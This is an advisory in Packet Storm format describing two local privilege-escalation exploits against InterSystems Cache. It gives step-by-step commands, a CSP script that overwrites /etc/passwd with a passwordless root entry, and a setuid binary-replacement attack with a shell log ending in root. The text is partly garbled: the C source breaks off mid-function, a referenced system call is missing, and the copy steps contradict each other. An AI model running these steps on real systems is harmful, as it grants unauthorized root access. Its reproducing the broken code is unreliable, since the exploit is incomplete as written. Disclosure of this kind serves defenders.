Type packetstorm
Reporter Larry W. Cashdollar
Modified 2003-08-26T00:00:00


Here are more details of my research...  
These are more details for the above advisory.  
Local attackers can exploit this to manipulate directories and binaries  
inside the installation tree. This may be used by a local malicious user  
to gain root access. The content in /cachesys/csp/user is executed as  
root through the web interface. user's parent directory (csp) is world  
writeable allowing a local non root user to move user aside, copy its  
contents and create a new writeable user directory.  
1. mv /cachesys/csp/user /cachesys/csp/user.old  
2. cp -rp /cachesys/csp/user /cachesys/csp/user.old  
3. cp cspexp.csp /cachesys/csp/user  
4. lnyx http://localhost/csp/user/cspexp.csp  
5. su - cache  
Intersystems Cache' local root exploit.  
Larry W. Cashdollar  
Because of poor default file and directory permissions a localuser can  
code as root via the cache CSP interpreter.  
Attempting to overwrite /etc/passwd with cache::0:0:root:/root:/bin/bash.  
<script language=Cache runat=server>  
Set cdef=##class(%Library.File).%New("/etc/passwd")  
Do cdef.Open("WSN")  
Do cdef.WriteLine("cache::0:0:root:/root:/bin/bash")  
Do cdef.%Close()  
Vuln 2  
A user who is a member of the group configured at installation to start  
and stop the cache database can get local root access by exploting poor  
file permissions and the use of relative path names in setuid binaries.  
Using the following method.  
1. mv /path/to/cache/bin/cache /path/to/cache/bin/cache.orig  
2. cd /path/to/cache/bin  
3. cat cache.c << -EOF-  
#include <stdio.h>  
int main(void) {  
4. gcc cache.c -o cache  
5. ./cuxs  
cuxs is setuid root and can be configured as executeable by a specific  
group upon installation of Cache' database.  
cuxs is a control program for Cache, it executes Cache using the following  
system call:  
since by default bin is world write able the binary cache can be moved and  
replaced by a malicous one.  
[lwc@boureguard lwc]$ cd /usr/ecache  
[lwc@boureguard ecache]$ ls -ld bin;cd bin  
drwxrwxrwx 2 root root 4096 Mar 18 07:13 bin  
[lwc@boureguard bin]$ mv cache cache.orig  
[lwc@boureguard bin]$ gcc cache.c -o cache  
[lwc@boureguard bin]$ id  
uid=500(lwc) gid=500(lwc) groups=500(lwc),10(wheel)  
[lwc@boureguard bin]$ ls -l cuxs  
-rwsr-x--- 1 root wheel 16488 Mar 18 06:49 cuxs  
[lwc@boureguard bin]$ ./cuxs  
sh-2.05a# id  
uid=0(root) gid=0(root) groups=500(lwc),10(wheel)